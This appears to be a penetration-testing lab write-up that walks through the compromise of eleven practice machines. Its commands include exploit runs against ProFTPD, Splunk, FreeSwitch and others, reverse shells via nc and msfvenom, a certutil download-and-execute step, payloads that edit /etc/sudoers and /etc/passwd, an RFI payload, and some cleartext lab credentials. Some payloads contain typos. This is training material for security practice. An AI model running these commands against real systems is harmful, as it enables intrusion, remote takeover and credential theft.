1. Machine #1 – 192.168.1xx.110

1.1 Nmap result :

Open Ports : 22 - 3825 - 8089

1.2 Initial Foothold

From Nmap result we can see that ProFTPD 1.3.5 is running on the port 3825, this version is vulnerable to a Remote Code Execution.

We can Download the POC from github : [CVE-2015-3306]

```
$ python3 exploit.py --host 192.168.1xx.110 --port 3825 --path
"/var/www/html/"
```

1.3 Privilege Escalation

This machine lighttpd running by the root account it has write permission on the web root, so we are going to abuse that vulnerability.

```
echo "<?php echo 'hello';passthru('echo \'www-data ALL=(root) NOPASSWD: ALL\' >>
/etc/sudoers'); ?>" > root.php
```

Use curl to crawl the page

```
$ curl -v http://localhost:5000/files/root.php
```

To upgrade the tty shell

```
$ python3 -c 'import pty;pty.spawn("/bin/bash")'

$ stty raw -echo; fg
```

2. Machine #2 – 192.168.1xx.111

2.1 Initial Foothold :

Using Buffer Overflow Vulnerability we can get a shell. To reduce the report size I just skipped this.

2.2 Privilege Escalation

This system vulnerable to Autologon. We can use WinPeas to Find this Vulnerability.

```
Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultUserName               :  offsec
    DefaultPassword               :  DevicesTexasYoungCareer614
```

From this credential we can now login to the system via RDP and command as Admin.

3. Machine #3 – 192.168.1xx.110

3.1 Nmap Result :

Nmap give us the open ports on the machine. Open ports are
TCP - 21 - 22 - 80 - 8080.

3.2 Initial Foothold :

This host is vulnerable to path traversal via uftpd, from this git commit we can confirm this ftp is vulnerable
[UFTPd - Directory Traveral]

Use following steps to Exploit :

```
1. sudo nc -lvnp 9001 > shell.kdbx

2. nc 192.168.1xx.110 21

PORT 192,168,xx,1xx,1,2

RETR ../../../opt/shell.kdbx

3. keepass2john shell.kdbx > hash.txt

4. john hash.txt -wordlist=/opt/wordlists/rockyou.txt
```

Now we have clear text password, now open that .kdbx file with the KeePass software.

We have Jack's Credentials, use this and login through ssh.

```
Jack:TMqJytboF9mGbuRk
```

3.3 Privilege Escalation

Splunk running on this machine, we are going to abuse splunk forwarder to get remote code execution.

```
$ python PySplunkWhisperer2_remote.py --host 127.0.0.1 --port 8089 --username
jack --password TMqJytboF9mGbuRk --payload "echo
'user:pass:0:0:,,,:/root:/bin/bash' >>
/etc/passwd" --lhost 192.168.xxx.90
```

4. Machine #4 – 192.168.1xx.111

4.1 Initial Access :

Mysql user define function is vulnerable, we use this to get initial foothold.

```
ftp> get connect.php
kali → [redacted] cat connect.php
<?php

$conn = new mysqli("localhost, "test", "removeaftertests", "mysql");

if($conn->connect_error) {
    die("ERROR: Unable to connect: " . $conn->connect_error);
}

echo "Connected to the database.<br>";
$result = $conn->query("SELECT user FROM mysql");
echo "Number of rows: $result->num_rows";
$result->close();
$conn->close();

?>
```

```
$ mysql -h 192.168.1xx.111 -u test -p removeaftertests
```

4.2 Privilege Escalation :

Use WinPeas to Enumerate Priv escs. Then we create payload using msfvenom.

```
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.xxx.90 LPORT=445 -f msi -o reverse_shell.msi
```

Using Certutil to download and save it into user wolter's folder.

```
PS C:\Users\Wolter\Desktop\tools > Certutil -urlcache -f -split http://192.168.xxx.90/reverse_shell.msi

PS C:\Users\Wolter\Desktop\tools > msiexec /quiet /qn /i reverse_shell.msi
```

5. Machine #5– 192.168.1xx.112

5.1 Nmap Result :

Nmap give us the following open port - 22 and 10081

5.2 Initial Foothold :

The Student Attendance management system running on port 10081. This one is vulnerable to Sql injection.We can use publicly available exploit from exploit-db to get initial access.
Sql Injection - RCE

5.3 Privilege Escalation :

Follow the steps to get root access.

```
$ find / -group adm -readable 2>/dev/null

/var/log/auth.log
```

```
Credential: root:MarshallNoodleLight345
```

6. Machine #6 – 192.168.1xx.111

6.1 Nmap Result :

Open Ports - TCP: 80 - 135 - 445 - 2121 - 2221 - 7680 - 9510 - 9512

6.2 Initial Foothold :

Unified Remote 3 Running on the system. This is vulnerable to Remote code execution, using searchsploit we can mirror the exploit to our local system.

```
$ searchsploit -m 49587
```

6.3 Privilege Escalation :

We can use WinPeas to Enumerate Privileges, from Winpeas result we know this system is vulnerable to **HiveNightmare**

We use following exploit from github to Escalate our privilege
GossiTheDog - HiveNightMare

7. Machine #7 - 192.168.xxx.105

7.1 Intital Access - User flag

From Nmap result we know the FreeSwitch running on port 8081. We can use exploit available on exploit-db website.
Just follow these steps to get user access

FreeSwitch - RCE

```
1. Download the Exploit from Exploit db
2. Run the Exploit python3 exp_switch.py 192.168.xxx.105 dir
3. Upload Netcat Binary
4. Execute the revershell using netcat python3 exp_switch.py 192.168.xxx.105
".\nc64.exe -nv 192.168.xxx.90 445 -e cmd.exe"
5. And we got a shell!!!!
```

7.2 Privilege Escalation :

From Winpeas result we know this machine is vulnerable to **Unquoted Service Path**. Just place the revershell in the path and get root shell. (Don't forget to restart the machine after placing the revershell.)

Note :To create revershell we can use msfvenom.

Machine #8 – 192.168.105.112

8.1 User Access :

After fuzzing the machine using wfuzz, reveal **robots.txt**. it tell us hidden directory. This **Kikchat** is vulnerable to command injection. We can get POC from exploit-db.

To Exploit :

```
$ curl -v http://192.168.xx.218/8678576453/rooms/get.php?name=info.php&ROOM="
<?php phpinfo()+?>"
```

We can abuse RFI to upload our Revershell

```
$ curl -s http://192.168.XX.218/8678576453/rooms/get.php?
name=shell.php&ROOM="<php
file_put_contents('nc.bat',file_get_contens('http://192.168.XX.XX
nc.txt'));system('nc.bat');usleep(100000);system('nc.exe -vn 192.168.XX.XX
9001 -cmd.exe');+?>"
```

Then run netcat on attacker machine listening on port 9001. Then we got user shell.

8.2 Privilege Escalation :

Use msfvenom to create revershell binary, upload the shell using curl like we did before. Run following command on metasploit .

```
$ msf > run execute -f C:/xampplite/htdocs/8678576453/myroom/root.exe
```

Run getsystem, we got Admin Access!!!

9. Machine #9 – 192.168.105.110

9.1 Full Access :

This machine is very simple, we can get both user and root access by using following exploit.

Sql Injection - RCE

For Insecure Service Permission :
Use following article for referrence :
Insecure Service Permissions E4f33dbff219

10. Machine #10 – 192.168.105.111

10.1 User Access :

From Nmap result we can see robots.txt reveals **/blogengine** directory.
We can use searchsploit to get poc for the user access.

10.2 Root :

From Winpeas result we can see **setCreateTokenPrivilege**

We can use following github poc for Root Access :
[HatRiot - SetCreateTokenPrivilege]

11. Machine #11 – 192.168.105.112

11.1 User Shell :

From Nmap full port scan report give us mountd running on port 20048.
We can use showmount to access mountd

```
$ showmount -e 192.168.105.112
```

Then create temperory folder in attacker machine an mount the system.

```
$ mount -t nfs 192.168.105.112:/ our_temperory_folder_name/ -no lock
$ cd _0_tyken
```

After mouting the system, we can see notes.txt reveals the user **tyken** created ssh key and we grab that.

The ftp service running on the system vulnerable to Unauthenticated remote code Execution.

Referrence : [ProFTP 1.3.5 RCE]

Run following command to get user access :

```
$ nc 192.168.105.112 21 then cpfr /home/tyken/.ssh/id_rsa then cpto
/var/tmp/id_rsa

$ chmod 600 id_rsa

$ ssh -i id_rsa tyken@192.168.105.112
```

11.2 Privilege Escalation :

Keybase Redirector running on this machine this is vulnerable to **$PATH** local privilege escalation.

Referrence : [Keybase-Redirector : LPE]

Create a file called keybase_exploit.c

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv)
{
setreuid(0,0);
system("/usr/bin/touch /Im_Root");
return(0);
}
```

Then compile the code and upload into target machine:

```
$ gcc keybase_exploit.c -o exploit
```

Change the PATH variable and execute our exploit as root :

```
$ env PATH=.:$PATH /usr/bin/keybase-redirector /keybase
```

Enter ctrl+c to kill the application and run the ./Im_Root Binary.

And We are Root!!!!